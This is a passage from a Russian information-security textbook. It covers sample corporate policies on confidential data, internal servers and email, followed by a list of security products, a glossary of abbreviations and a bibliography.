Учетные записи, соответствующие модемным подключениям, подлежат аудиту. Если в течение шести месяцев учетная запись не использовалась, то она удаляется.
Аналоговые мобильные телефоны и телефоны не GSM-стандарта не могут использоваться в этих целях, так как их сигнал может быть легко несанкционированно прослушан или перехвачен. Только телефоны GSM-стандарта рассматриваются как достаточно защищенные для подключения к интранету Организации.
Беспроводной доступ к интранету Организации регламентируется политикой беспроводного доступа.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	История пересмотра политики.
П-4.14. Политика для конфиденциальной информации
1.	Цель - определить, какая информация может предоставляться неслужашим Организации, а какая не должна попадать за пределы Организации без соответствующего на это разрешения. Информация, подпадающая под действие данной политики, включает, но не ограничивается, информацией, хранимой или совместно используемой с применением различных средств. Это - информация в электронном виде, бумажная информация и информация, совместно используемая устно или визуально (например, через телефон или видеоконференц-связь).
Все служащие должны быть ознакомлены с перечнем информации, регламентируемым данной политикой. Степень конфиденциальности информации определяется согласно нижеприведенному руководству, также содержащему основные шаги по ее защите. Отнесение специфической информации к определенному классу дается администратором безопасности подразделения или Организации. Все вопросы, относящиеся к данному руководству, решает департамент ИБ Организации. Персонал должен руководствоваться чувством здравого смысла при защите конфиденциальной информации Организации.
Влияние этого руководство на осуществление ежедневных обязанностей служащих должно быть минимальным.
2.	Применение. Вся информация Организации подразделяется на открытую и конфиденциальную. Открытая информация - это информация, доступ к которой посторонних не связан ни с какими потерями. Конфиденциальная информация - это информация, доступ к которой для части персонала или посторонних лиц нежелателен, так как может вызвать материальные и моральные потери. Далее приводятся примеры - общая корпоративная информация, промышленные секреты, программы развития, персональные данные служащих, телефонные справочники, информация о третьих лицах и т. п. Категорирование информации по конфиденциальности выполняется субъективно руководством или персоналом в соответствии с выделенными ему полномочиями в зависимости от риска ее разглашения.
3.	Основные положения. Данное руководство детально описывает, как защитить различную конфиденциальную информацию. Руководство будет различным для разных организаций, так как отнесение одной и той же информации к тому или иному классу (например, минимальной, средней и максимальной конфиденциальности) зависит от многих обстоятельств - от бизнеса Организации, условий осуществления бизнеса, ее размера и многого другого.
514
Информационная безопасность открытых систем
Обычно информацией минимальной конфиденциальности является общая корпоративная информации, некоторая техническая информация и некоторые данные о персонале. Доступ — служащие Организации, контрактные рабочие, те, кто должен знать эту информацию в соответствии с потребностями бизнеса. Метод распространения в Организации - стандартная внутренняя внутриофисная переписка, одобренная электронная почта и методы передачи электронных файлов. Методы распространения за пределами Организации — официальные почтовые службы страны или других стран, одобренная электронная почта и методы передачи электронных файлов. Распространение в электронном виде - ограничений нет при условии посылки разрешенным получателям. Хранение — беречь от неуполномоченных людей, защищать от потери, контролировать доступ. Уничтожение - по разработанной процедуре уничтожения бумажных и электронных носителей информации с невозможностью восстановления. Наказания - согласно административному, гражданскому или уголовному праву.
Информация средней конфиденциальности - это финансовая и техническая информация, информация о бизнесе и большая часть персональных данных. Доступ -служащие Организации и неслужащие, подписавшие соглашение о неразглашении информации, которым она требуется для бизнеса. Метод распространения в Организации - стандартная внутренняя внутриофисная переписка, одобренная электронная почта и методы передачи электронных файлов. Методы распространения за пределами Организации — официальные курьерские и почтовые службы страны или других стран. Распространение в электронном виде - ограничений нет при условии посылки разрешенным получателям внутри Организации, вне Организации - обязательно в зашифрованном виде. Хранение - с индивидуальным контролем доступа. Уничтожение - по разработанной процедуре уничтожения бумажных и электронных носителей информации с невозможностью восстановления. Наказания - согласно административному, гражданскому или уголовному праву.
Информация максимальной конфиденциальности - это промышленные секреты, маркетинговая, финансовая и техническая информация, информация о функционировании, исходные коды и часть персональных данных. Доступ - только служащие Организации, имеющие разрешенный доступ и подписавшие соглашение о неразглашении информации. Метод распространения в Организации - непосредственная доставка в руки, доставка в конверте со штампом конфиденциальности, одобренные методы передачи электронных файлов. Методы распространения за пределами Организации — разрешенная курьерская служба с подписью о вручении. Распространение в электронном виде — ограничений нет при условии посылки разрешенным получателям внутри Организации, вне Организации - обязательно в зашифрованном виде. Хранение - с индивидуальным контролем доступа, с обеспечением физической зашить! (включая хранение на компьютере). Уничтожение - по разработанной процедуре уничтожения бумажных и электронных носителей информации с невозможностью восстановления. Наказания — согласно административному, гражданскому или уголовному праву.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	Определение. Одобренные методы передачи электронных файлов - на основе FTP-клиентов и веб-браузеров.
6.	История пересмотра политики.
Приложение 4. Примеры политик безопасности
515
П-4.15. Политика для веб-сервера
1.	Цель - определить стандарты базовой конфигурации оборудования внутреннего сервера, находящегося во владении и/или используемого Организацией. Эффективная реализация данной политики уменьшит НСД к составляющим собственность Организации информации и технологиям.
2.	Применение. Политика распространяется на серверное оборудование, находящееся во владении и/или используемое Организацией, и серверы, зарегистрированные в любом внутреннем сетевом домене Организации. Политика применяется только к оборудованию внутренней сети Организации. Защищенное конфигурирование внешнего оборудования из ДМ3 Организации регламентируется политикой для оборудования ДМ3.
3.	Основные положения.
3.1.	Владение и ответственность.
Все размещенные в Организации внутренние серверы находятся в собственности рабочей группы, осуществляющей их системное администрирование. Должны существовать и использоваться каждой рабочей группой руководства по настройке серверов, основанные на потребностях бизнеса и утвержденные соответствующими службами Организации. Рабочие группы должны осуществлять мониторинг соответствия конфигурации и предпринимать предписанные действия при выявлении отклонений. Каждая рабочая группа должна определить процесс изменения руководств по настройке, который должен быть рассмотрен и утвержден в установленном порядке.
	Сервер должен быть зарегистрирован в корпоративной системе управления. Как минимум следующая информация необходима для определения обратной связи:  местонахождение сервера и контактное лицо для обратной связи;
•	аппаратная платформа и ОС с версией;
•	основные функции и приложения, если таковые используются.
	Информация в корпоративной системе управления должна быть актуальной.
	За изменениями конфигурации серверов должны быть внесены соответствующие изменения в процедуры управления
3.2.	Общее руководство по конфигурированию.
	Настойки ОС должны соответствовать утвержденным руководствам.
	Сервисы и приложения, которые не используются, нужно отключить.
	Доступ к сервисам должен регистрироваться и/или защищаться методами контроля доступа (типа TCPWrappers), если это возможно.
	Самые последние обновления, устраняющие уязвимости системы, должны устанавливаться сразу же после их появления, за исключением тех случаев, когда это помешает выполнению неотложных работ.
	Доверенные отношения между системами являются угрозой безопасности, поэтому лучше избегать их использования. Лучше использовать другой, более надежный метод связи.
	Всегда используйте стандартные принципы безопасности, требующие наименьшего доступа для выполнения функций.
	Когда для работы достаточно привилегий обычного пользователя, не используйте административную учетную запись root.
	Если технически доступно и выполнимо защищенное канальное подключение, то привилегированный доступ должен осуществляться на его основе (например, зашифрованное сетевое соединение с использованием протоколов SSH или IPSec).
	Сервер должен физически располагаться в среде с контролируемым доступом.
516
Информационная безопасность открытых систем
	Работа с сервером из неконтролируемого закрытого помещения запрещается.
3.3.	Мониторинг.
• Все относящиеся к безопасности события в важных или конфиденциальных системах должны регистрироваться и в журналах аудита должна сохраняться следующая информация:
	все записи событий должны сохраняться как минимум неделю;
	ежедневные резервные копии измененной информации должны храниться не меньше месяца;
	еженедельные полные резервные копии журналов событий должны храниться не меньше месяца;
	ежемесячные полные резервные копии должны храниться не меньше двух лет.
 Обо всех относящихся к безопасности событиях следует уведомлять соответствующие службы, которым нужно предоставить для рассмотрения журналы событий и сообщения об инцидентах в установленной форме. При необходимости они помогут определить корректирующие меры.
• Относящиеся к безопасности события включают (но не ограничиваются):
	сканирование портов;
	НСД к привилегированным учетным записям;
	аномальные признаки, не относящиеся к работе приложений хоста.
3.4. Соглашение.
	Аудит должен выполняться регулярно уполномоченными лицами внутри Организации.
	В соответствии с политикой аудита руководит им внутренняя группа или уполномоченная внешняя организация. Они отбирают обнаруженные события и при необходимости посылают соответствующие отчеты в правоохранительные органы.
	Будет сделано все возможное, чтобы аудит не вызвал сбоев в работе или потерю ресурсов.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	Определения. В рамках данной политики сервер - это внутренний сервер Организации. Демилитаризованная зона (ДМ3) - это сетевой сегмент, внешний по отношению к внутренней корпоративной сети.
6.	История пересмотра политики.
П-4.16. Политика пересылки электронной почты
1.	Цель — предотвратить несанкционированное или случайное раскрытие конфиденциальной информации Организации.
2.	Применение. Политика распространяется на автоматическую пересылку электронной почты и связанную с этим случайную передачу конфиденциальной информации служащими, поставщиками и агентами, работающими от имени Организации.
3.	Основные положения. Служащие должны проявлять особую бдительность при посылке электронной почты изнутри Организации во внешнюю сеть. Электронная почта Организации не будет автоматически пересылаться к внешнему получателю, за исключением той, которая одобрена администратором безопасности подразделения служащего. Конфиденциальная информация, как это определено в политике для конфиденциальной информации, в открытом виде не пересылается никакими средствами, поскольку она носит критический для бизнеса характер и должна быть зашифрована в соответствии с политикой шифрования.
Приложение 4. Примеры политик безопасности
517
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	Определения. Электронная почта - это электронная передача информации на основе почтового протокола (типа SMTP). Пересылаемая почта - электронная почта, пересылаемая из интранета к внешнему получателю. Информация считается конфиденциальной, если она может нанести ущерб финансового характера, репутации или позиции на рынке самой Организации или ее клиентам. Случайное раскрытие - намеренное или ненамеренное открытие запрещенной информации людям, которым не нужно знать эту информацию.
6.	История пересмотра политики.
П-4.17. Политика хранения электронной почты
1.	Цель — определить, какую отправленную и полученную электронную почту хранить и как долго. Политика распространяется на информацию, хранимую или совместно используемую посредством электронной почты или других применяемых в настоящее время технологий передачи сообщений. Отнесение информации к классам определяет руководитель подразделения. Вопросы по данному руководству направляются департаменту ИБ.
2.	Применение. Политика распространяется на четыре основных класса почтовой корреспонденции (переписки): административная (срок хранения - 4 года), финансовая (4 года), общая (1 год) и однодневная (после прочтения уничтожить).
3.	Основные положения.
3.1.	Административная корреспонденция включает, например, сообщения о политике компании, выходных, поведении, защите интеллектуальной собственности и многое другое, сообщения с пометкой "Только для администрации". Для хранения такой корреспонденции ее копии можно отправлять в почтовый ящик айтш@Домен_Организации, администрированием которого занимается департамент ИТ.
3.2.	Финансовая корреспонденция — это вся информация, относящаяся к доходам и расходам Организации. Для ее хранения копии сообщений можно отправлять на адрес Й5са1@Домен_Организации, администрированием которого занимается департамент ИТ.
3.3.	Общая корреспонденция — эта информация, относящаяся к взаимодействию с клиентами и выполнению бизнес-функций отдельными служащими. Они несут ответственность за ее сохранение.
3.4.	Однодневная корреспонденция - это большая часть электронной почты, включающая персональные почтовые сообщения, запросы на получение рекомендаций, разработке продуктов и т. п.
3.5.	Сообщения текущего почтового клиента могут сохраняться с использованием стандартных встроенных процедур или копироваться с файл и в таком виде храниться. Сообщения клиента административного или финансового характера должны копироваться в электронное сообщение и пересылать в соответствующий адрес для хранения (п. 3.1 и 3.2).
3.6.	Защищенные средства связи Организации должны применяться в случаях, предусмотренных в политике для конфиденциальной информации. В остальных случаях информация должна храниться в незашифрованном виде.
518
Информационная безопасность открытых систем
3.7.	Резервирование работы почтового сервера. Организация создает резервные копии от почтового сервера и раз в квартал соответствующий носитель изымается из ротации и хранится отдельно. Никто не может уничтожить электронную почту с этого носителя.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	Определения. Текущий почтовый клиент — разрешенный к использованию в Организации клиент для работы с электронной почтой.
6.	История пересмотра политики.
П-4.18. Политика для межсетевых экранов
Политика для МЭ описывает, как управляется аппаратное и программное обеспечение такого специального средства защиты, как МЭ, и какие при этом изменения в интранете требуются и допустимы (например, в операционной системе того компьютера, получившего название "бастион", где будет установлен МЭ).
Эта политика должна определять:
	кто может получить привилегированный доступ к МЭ;
	кому разрешено получать информацию о конфигурации и списках доступа МЭ;
	процедуры написания запроса на изменение конфигурации МЭ и удовлетворения этого запроса;
	сроки пересмотра конфигурации МЭ.
П-4.19. Политика специального доступа
Политика специального доступа формулирует требования к созданию и использованию специальных системных бюджетов (root, backup и т. п.). Она должна определять:
	как, почему и в каком порядке пользователи могут получить специальный доступ;
	способ проверки специальных бюджетов;
	способ установления паролей для специальных бюджетов и частоту их замены;
	причины, по которым может быть принято решение об отмене доступа.
П-4.20. Политика подключения новых устройств в интранете
Политика подключения новых сетевых устройств определяет требования и порядок добавления в интранет новых аппаратных средств. Эта политика особенно важна для оборудования, которое будет располагаться до средств зашиты интранета, например на стыке интранета с любой другой открытой сетью до МЭ. Также она нужна для того аппаратного обеспечения, доступ к которому будет открыт сразу для нескольких групп пользователей. Такая политика должна определять, например:
	кто может устанавливать новые ресурсы в интранете;
	какие при этом обоснования и уведомления должны быть выполнены;
	как документируются в интранете любые изменения;
	каковы требования по защите при подключении новых сетевых устройств;
	как будут защищаться устройства, не имеющие встроенных средств защиты.
Приложение 5. ЗАРУБЕЖНЫЕ СРЕДСТВА ОБЕСПЕЧЕНИЯ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ В СЕТЯХ
(Источник - http://www.sans.org/tools.php)
L Средства управления доступом	
Аутентификация (authentication)	Symark - Symark PowerPassword®
Авторизация (authorization)	Computer Associates - eTrustIM Access Control; Symark (http://www.symark.com) - Symark PowerBroker®.
"Управление идентификацией (identity management)	Entegrity — AssureAccess; Entrust - GetAccess; IBM® Tivoili - Access Manager; Netegrity - Identity Minder; Novell - IChain; Novell - NSure and Secure Access; Oblix - IDLink; OpenNetwork - nCross Platform Active Directory; RSA Security Identity Management; Secure Computing -Safe Word
2. Средства фильтрации	
Межсетевые экраны (firewalls)	CyberGuard (http://www.cyberguard.com) - SL3200, KS1500; TippingPoint Technologies, Inc. - UnityOneTM Intrusion Prevention Systems & Appliances; Akonix® Systems, Inc. — Akonix L7 Enterprise; Astaro Corporation - Astaro Security Linux; Check Point Software Technologies Ltd - VPN-l/FireWall-lTM Next Generation with Application Intelligence; Fortinet - FortiGate Antivirus Firewalls; NetScreen - 5000 Series; Secure Computing - Sidewinder G2 Firewall; Stonesoft, Inc. - StoneGate; Zone Labs, Inc. - Zone Labs Integrity TM
Активный контекстный монито-ринг/фильтрация (active content monitoring/filtering)'	Computer Associates (http://www.ca.com) - eTrustIM Secure Content Manager; NetlQ (http://www.netiq.com) - WebMarshal; TippingPoint Technologies, Inc. (http://www.tippingpoint.com) - UnityOne™ Intrusion Prevention Systems & Appliances; Vericept (http://www.vericept.com) - Vericept Intelligent Early Warning (VIEW) Monitoring Solutions; Vericept - Vericept Intelligent Early Warning (VIEW) Filter Solutions; Cerberian - Cerberian Web Manager; Fast Data Technology - FastTracker; PestPatrol, Inc. - PestPatrol; SurfControl - Total Filtering Solution; 8e6 Technologies - R3000 Internet Filter
Защита от распределенных атак "отказ в обслуживании" (antiDDoS tools)	Arbor Network - Peakflow; PestPatrol — PestPatrol
Защита от компьютерных червей (anti-worm solutions)	ForeScout Technologies (http://www.forescout.com) - WormScout
Защита от спэма (spam protection)	Computer Associates - eTrustIM Secure Content Manager; Frontbridge Technologies - TrueProtect™ Message Management System; NetlQ - MailMarshal; Sunbelt Software (http://www.sunbeltsoftware.com) - iHateSpam™ Server Edition; Sunbelt Software - iHateSpam™ Gateway Edition; Aladdin Knowledge Systems - eSafe Advanced Anti-Spam Module; Barracuda Networks Barracuda Spam Firewall; FutureSoft DynaComm i:mail™
3. Средства защиты, использующие криптографические методы	
Удостоверяющий центр (certificate authority)	Ubizen, Inc. (http://www.ubizen.com) - Ubizen OnlineGuardian® Certificate Management
520	Информационная безопасность открытых систем
Шифрование файлов и сеансов связи (file and session encryption)	Absolute Software Corporation - Absolute®Encrypt; F-Secure, Inc.® - F-Secure® SSHTM; Global Technologies Group, Inc. - CompuSec - Free Encryption Software; Vormetric, Inc. - CoreGuardTM Core Security System
Виртуальные частные сети и защищенные коммуникации (virtual private networks and cryptographic communications)	CyberGuard - SL3200, KS1500; V-ONE Corporation - SmartGate®; Communication Devices, Inc. - Port Authority Secure Out of Band Management
Виртуальные частные сети на основе протокола SSL (SSL VPNs)	Whale Communications - e-Gap Remote Access SSL VPN; Avential - EX1500TM SSL VPN Appliance; Neoteris - SA 1000/3000/5000 Series; Aspelle - Aspelle Everywhere V.3.0; PortWise - PortWise mVPN; Seagull Software Systems - Seagull Secure FTP Pro™; Array Networks - Array SP/SP-C; Netilla Networks -Netilla® Security Platform (NSP); F5 Networks - FirePass™ Product Family; InfoExpress, Inc. - Cyber Armor
4. Средства защиты отдельных ресурсов интранета	
Защитные приложения (security appliances)	CyberGuard - SL3200, KS1500; Qualys - QualysGuard Intranet Scanner; TippingPoint Technologies, Inc. - UnityOne™ Intrusion Prevention Systems & Appliances; eSoft®, Inc. - InstaGate® PRO
Защищенные вебсерверы (secure Web servers)	BindView Vulnerability Management Suite; eEye Digital Security - SecurellS™ Web Server Protection.
Защищенные вебприложения (Web application security)	Computer Associates — eTrustIM Web Access Control; eEye Digital Security - SecurellS™ Web Server Protection
5. Системы отражения вторжений и поиска уязвимостей	
Предотвращение вторжений (intrusion prevention)	CyberGuard - SL3200, KS1500; eEye Digital Security - SecurellS114 Web Server Protection; ForeScout Technologies - ActiveScout; TippingPoint Technologies, Inc. - UnityOne™ Intrusion Prevention Systems & Appliances; Captus Networks - Captus Intrusion Prevention System (IPS) 4000 Series; DeepNines™ Technologies - Sleuth9TM Security System; McAfee Security (Network Associates) — McAfee Entercept - Host Intrusion Prevention; Platform Logic - AppFire™; Top Layer - Attack Mitigator™ IPS 5500; Vsecure Technologies (US) Inc. - NetProtect™ Enterprise Intrusion Prevention Appliances
"Уведомления о за-щите/реакция на инциденты в реальном времени (real-time security awareness/incident response)	Computer Associates - eTrustTM Security Command Center; CyberGuard Global Command Center; Honeywell Technology Solutions Inc. - Scyllarus IDS correlation Technology; NetlQ - Security Manager; TippingPoint Technologies, Inc. - UnityOne™ Intrusion Prevention Systems & Appliances; ArcSight, Inc. - ArcSight v2.5; OpenService (Open) — Security Threat Manager™; GuardedNet — GuardedNet's neuSECURE™; Security Awareness, Inc. - webSTART; Stonylake Solutions - InsideOut Firewall Reporter; Dorian Software Creations, Inc. -Total Event Log Management Solution; elQnetworks, Inc. M -FirewallAnalyzer Enterprise ™; IBM® - Tivoli Risk Manager; Intellitactics, Inc. - Network Security Manager™ (NSM™); SourceFire -Real-time Network Awareness™ (RNA); Technology Pathways™ -ProDiscover® Incident Response
Приложение 5. Зарубежные средства обеспечения информационной безопасности в сетях 521
Системное обнаружение вторжений (host-based intrusion detection)	Configuresoft (http://www.configuresoft.com) - Enterprise Configuration Manager; Configuresoft - Security Update Manager; NetlQ - Security Manager; Sunbelt Software - Sunbelt Server Event Manager
Сетевое обнаружение вторжений (network-based intrusion detection)	Computer Associates - eTrustIM Intrusion Detection; Lancope - StealthWatch
Сервисы безопасности: тесты на возможность проникновения (security services: penetration testing)	BindView Penetration Testing (http://www.bindview.com); Qualys - QualysGuard Consultant
Сетевые сканеры уязвимостей (network-based vulnerability scanners)	BindView - bv-Control for Internet Security; eEye Digital Security - Retina® Network Security Scanner; Harris Corp (http://www.harris.com) - STAT Scanner, STAT Analyzer; Harris Corp - STAT DVM, STAT Scanner Console; Qualys - QualysGuard Enterprise; Qualys - QualysGuard Express; Sunbelt Software - Sunbelt Network Security Inspector™; Application Security, Inc. - AppDetective; Lumeta - IPsonar 2.5; nCircle Network Security - IP360 Vulnerability Management System; Tenable Network Security - NeWT and NeVO; Visionael® - Visionael® Security Audit™
Системные сканеры уязвимостей (host-based vulnerability scanners)	BindView Vulnerability Management Suite; Computer Associates -eTrust™ Vulnerability Manager; Configuresoft - Enterprise Configuration Manager; Configuresoft - Security Update Manager; Harris Corp - STAT Scanner, STAT Analyzer; Harris Corp - STAT DVM, STAT Scanner Console; NetlQ - VigilEnt Security Manager; GFI Software Ltd. - GFI LANguard Network Security Scanner
6. Средства управления безопасностью сети	
Реализация ПБ организации (enterprise security policy implementation)	BindView Policy Compliance Suite; Configuresoft - Enterprise Configuration Manager; Configuresoft - Security Update Manager; CyberGuard - Global Command Center, Central Management; eEye Digital Security - eEye's Enterprise Vulnerability Assessment & Remediation Solution; TippingPoint Technologies, Inc. - UnityOne™ Intrusion Prevention Systems & Appliances; NetVision Inc. NVPolicy Resource Center.
Разработка ПБ (policy development)	Vericept - Vericept Professional Services
Средства администрирования безопасности организации (enterprise security administration)	BindView Vulnerability Management Suite: BindView Policy Compliance Suite; Computer Associates - eTrust™ Admin; Configuresoft - Enterprise Configuration Manager; Configuresoft - Security Update Manager; CyberGuard Global Command Center; eEye Digital Security (http://www.eeye.com) - REMTM Remote Enterprise Management; NetlQ - Security Administration Suite; NetlQ - Group Policy Administrator; Sunbelt Software - Directory Inspector™; Sunbelt Software - LanHound™; TippingPoint Technologies, Inc. - UnityOne™ Intrusion Prevention Systems & Appliances; FireVue Security Systems -LogAppliance; Symmetricom - SyncServer® S100 Network Time Server; SSH Communications Security, Inc. - SSH Tectia™
522	Информационная безопасность открытых систем
Управляемые сервисы безопасности (managed security services)	Honeywell Technology Solutions Inc. (http://www.honeywell.com) - HINT IAVA Management Tool: Qualys (http://www.qualys.com) - QualysGuard Enterprise; Qualys - QualysGuard Express; Counterpane; Guardent; Internet Security Systems; LURHQ - Managed Enterprise Security Monitoring; RedSiren; SECNAP™ Network Security - SECNAP Managed Security Services; Symantec (Riptech); Syntegra Information Security Management; Ubizen, Inc. - Ubizen OnlineGuardian® Managed Security Services
Автоматизированное управление защищенными обновлениями (patch management systems)	BigFix — BigFix Enterprise; Ecora - Ecora Patch Manager; Gravity Storm Software - Service Pack Manager 2000; PatchLink Corporation -PatchLink Update; SecurityProfiling - SysUpdate; Shavlik - Shavlik HFNetChkPro; St. Bernard Software - UpdateEXPERT
7. Свободно распространяемые средства защиты в сетях различного назначения	Nessus; Snort/Snarf; Ethereal; Nmap; ActivePorts; TCPView; Logcheck; Sara; Tripwire
ПРИНЯТЫЕ СОКРАЩЕНИЯ
АО	аппаратное обеспечение.
БД	базы данных.
ВОС	взаимодействие открытых систем (модель).
ГТБ	глобальные таблицы безопасности.
ДМ3	демилитаризованная зона.
ИБ	информационная безопасность.
ИО	информационное обеспечение.
ИОК	инфраструктура открытых ключей.
ИС	информационная система.
ИТ	информационные технологии.
КП	корпоративный портал.
ЛВС	локальная вычислительная сеть.
МЭ	межсетевой экран.
НСД	несанкционированный доступ.
ОВ	обнаружение вторжений.
ОС	операционная система.
ПБ	политика безопасности.
ПИБ	подсистема информационной безопасности.
ПК	персональный компьютер.
ПО	программное обеспечение.
ПП	прикладная программа.
ППК	прикладные программные комплексы.
РВС	распределенная вычислительная система.
СА	системный администратор.
СЗ	средства защиты.
СЗИ	системы защиты информации.
СОВ	система обнаружения вторжений.
СОД	система обработки данных.
СП	сервис-провайдер.
СУБД	система управления базами данных.
СУФ	система управления файлами.
ТУА	типовая удаленная атака.
УА	удаленная атака.
УД	удаленный доступ.
УЗ	учетная запись.
УЦ	удостоверяющий центр.
ЭДО	электронный документооборот.
ЭЦП	электронная цифровая подпись.
ACL Access Control List - список контроля доступа.
API Application Programming Interface - прикладной программный интерфейс.
ARP Address Resolution Protocol — протокол соответствия адресов. BIOS Basic Input/Output System - базовая система ввода-вывода.
CA Certificate Authority — удостоверяющий центр.
524
Информационная безопасность открытых систем
CAPI Crypto Application Programming Interface - криптографический, прикладной программный интерфейс.
CGI Common Gateway Interface - обычный шлюзовой интерфейс, скрипт, сценарий.
CHAP Challenge Handshake Authentication Protocol - протокол аутентификации Common Gateway Interface - обычный шлюзовой интерфейс, по квитированию вызова.
CMOS Complementary metal-oxide semiconductor - комплементарная структура "металл-окисел-полупроводник".
CRC Cyclic Redundancy Check - циклическая проверка избыточности.
DCE Distributed Computing Environment - распределенная вычислительная среда.
DES Data Encryption Standard - стандарт шифрования данных.
DHCP Dynamic Host Configuration Protocol - протокол динамического конфигурирования хостов.
DNS Domain Name System - система доменных имен.
DoS	Denial of Service - отказ в обслуживании.
DSS Digital Signature Standard - стандарт цифровой подписи.
EDI Electronic Data Interhange - системами электронного обмена данными.
E-mail Electronic mail - электронная почта.
HTML HyperText Makeup Language - язык гипертекстовой разметки текста.
HTTP HyperText Transfer Protocol - протокол передачи гипертекста.
ICMP Internet Control Message Protocol - протокол управления сообщениями Интернета.
IMAP Internet Mail Access Protocol - протокол обмена почтовыми сообщениями в Интернете.
IP	Internet Protocol — Интернет-протокол.
IPsec	IP Security — защищенный Интернет-протокол.
IPX/SPX Internetwork Packet Exchange/Sequenced Packet Exchange - межсетевой обмен пакетами/последовательный обмен пакетами.
ISO International Standard Organization - Международная организация по стандартизации.
ISP Internet Service Provider - сервис-провайдер Интернета.
FAT File Allocation Table - таблица размещения файлов.
FAQ Frequently Asked Questions — часто задаваемые вопросы.
FDDI Fiber Distributed Data Interface - волоконно-оптический интерфейс распределения данных.
FTP File Transfer Protocol - протокол передачи файлов.
LAN Local Area Network - локальная сеть.
LDAP Lightweight Directory Access Protocol - упрощенный протокол доступа к каталогу.
L2FP Layer 2 Forwarding Protocol - протокол трансляции уровня 2.
L2TP Layer 2 Tunneling Protocol - протокол туннелирования уровня 2.
MAC Message Authentication Code - код аутентификации сообщения.
MD4, MD5 Message Digest - хеш-функции.
MIME Multipurpose Internet Mail Extension - расширенный протокол передачи почтовых сообщений в Интернете.
Принятые сокращения
525
NAT NFS NIC NIS NNTP
OSI PAP PGP
PIN PKI
POP PPP PPTP
RFC RACF RADIUS
RC2, RC4 RIP
RPC
RSA
SHA SHTTP
SKIP
SLIP
SNAPI
SNMP
S/MIME
SMTP
SSH SSL sso STEP
TACACS
Network Address Translation -трансляция сетевых адресов.
Network File System - сетевая файловая система.
Network Information Center - сетевой информационный центр.
Network Information System - сетевая информационная система.
Network News Transfer Protocol - протокол передачи сетевых новостей.
Open System Interaction - взаимодействие открытых систем.
Password Authentication Protocol - протокол аутентификации паролей.
Pretty Good Privacy - система шифрования "очень высокий уровень секретности".
Personal Identification Number - личный идентификационный номер.
Public Key Infrastructure - инфраструктура открытых ключей.
Post Office Protocol - протокол электронной почты.
Point-to-Point Protocol - протокол для соединения "точка-точка".
Point-to-Point Tunneling Protocol - протокол туннелирования для соединения "точка-точка".
Request for Comment - документ-запрос для комментариев.
Resource Access Control Facility - средство управления доступом к ресурсам.
Remote Access Dial-In User Service - пользовательский сервис удаленного доступа при модемном подключении.
криптографические алгоритмы.
Routing Information Protocol - протокол информации о маршрутизации.
Remote Procedure Call - удаленный вызов процедур.
Rivest, Shamir, Adleman - алгоритм шифрования, названный по первым буквам фамилий разработчиков.
Secure Hash Algorithm - защищенный алгоритм хеширования.
Secure HyperText Transfer Protocol - защищенный протокол передачи гипертекста.
Simple Key management for Internet Protocol - простой протокол управления ключами в Интернете.
Serial Line Internet Protocol - Интернет-протокол для последовательного канала, один из первых стандартов удаленного доступа к сети.
Secure Netscape Application Programming Interface - защищенный прикладной программный интерфейс фирмы Netscape.
Simple Network Management Protocol - простой протокол управления сетями.
Secure Multipurpose Internet Mail Extension - защищенный расширенный протокол передачи почтовых сообщений в Интернет.
Simple Mail Transfer Protocol - простой протокол передачи почтовых сообщений.
Secure Shell - защищенная оболочка.
Secure Sockets Layer - уровень защищенных сокетов.
Single Sign-On - единый вход в систему.
Secure Tunnel Establishment Protocol - протокол установления защищенного туннеля.
Terminal Access Controller Access Control System - система управления доступом к контроллерам терминального доступа.
526	Информационная безопасность открытых систем
TCP UDP URL VLAN VPN WAIS WAN IVW4V	Transmission Control Protocol — протокол управления передачей данных. User Datagram Protocol - протокол пользовательских дейтаграмм. Universal Resource Locator — универсальный идентификатор ресурсов. Virtual Local-Area Network - виртуальная локальная сеть. Virtual Private Network - виртуальная частная сеть. Wide Area Information System - глобальная информационная система. Wide Area Network - глобальная сеть. World Wide Web - всемирная паутина.
СПИСОК ЛИТЕРАТУРЫ
1.	Герасименко В. А., Малюк А. А. Основы защиты информации. М., 1997.
2.	Department of Defence Technical Architecture Framework for Information Management. USA Department of Defence, 1996.
3.	ISO/IEC 10746-2:1996 Information technology - Open Distributed Processing -Reference Model: Foundations.
4.	IT DialTone Architecture Reference Model. - The Open Group, Dec. 1998. http://www.opengroup.org.
5.	The library for systems solutions - Data processing technology. - International Technical Support Organization, Doc. Num. GG 24-4100. - IBM, 1994. — http://publib.boulder.ibm.com/cgi-bin/bookmgr/ BOOKS/GG244100.
6.	The Open Group Architectural Framework, Ver. 8. - The Open Group, Dec. 2002. -http://www.opengroup.org.
7.	Open systems fundamentals: Student guide. - International Technical Support Organization, Doc. Num. GG24-4470-00. - IBM, 1994. - http://publib.boulder.ibm.com/ cgi-bin/bookmgr/BOOKS/ GG244470.
8.	Security in Open Systems. NIST special publication 800-7, Ed. J. Barkley. - USA National Institute of Standards and Technology, Jul. 1994. - http://csrc.ncsl.nist.gov/ nistpubs.
9.	ISO/IEC 7498-1:1994 - Information technology - Open Systems Interconnection -Basic Reference Model: The Basic Model.
10.	TCP/IP Tutorial and Technical Overview. - International Technical Support Organization, Doc. Num. GG243376. - IBM, 2001. - ISBN 0738412007. - Pp. 986.
11.	The library for systems solutions - Open networking reference. - International Technical Support Organization, Doc. Num. GG 24-4110-00. - IBM, 1994. -http://publib.boulder.ibm.com/cgi-bin/bookmgr/BOOKS/ GG244110.
12.	Козлов В. А. Открытые информационные системы. М.: Финансы и статистика, 1999. 224 с.
13.	Методические материалы и документация по пакетам прикладных программ. Вып. 57: Телеобработка данных и вычислительные сети. Ч. 1. Опыт разработки и применения международных стандартов. М.: Междунар. центр науч, и тех. информации, 1988. 224 с.
14.	Щербо В. К. и др. Стандарты по локальным вычислительным сетям: Справ. М.: Радио и связь, 1990.
15.	Щербо В. К., Козлов В. А. Функциональные стандарты в открытых системах. Справ, пособие: В 2 кн. Ч. 1.: Концепция открытых систем. М.: Междунар. центр науч, и техн, информации, 1997. 124 с.
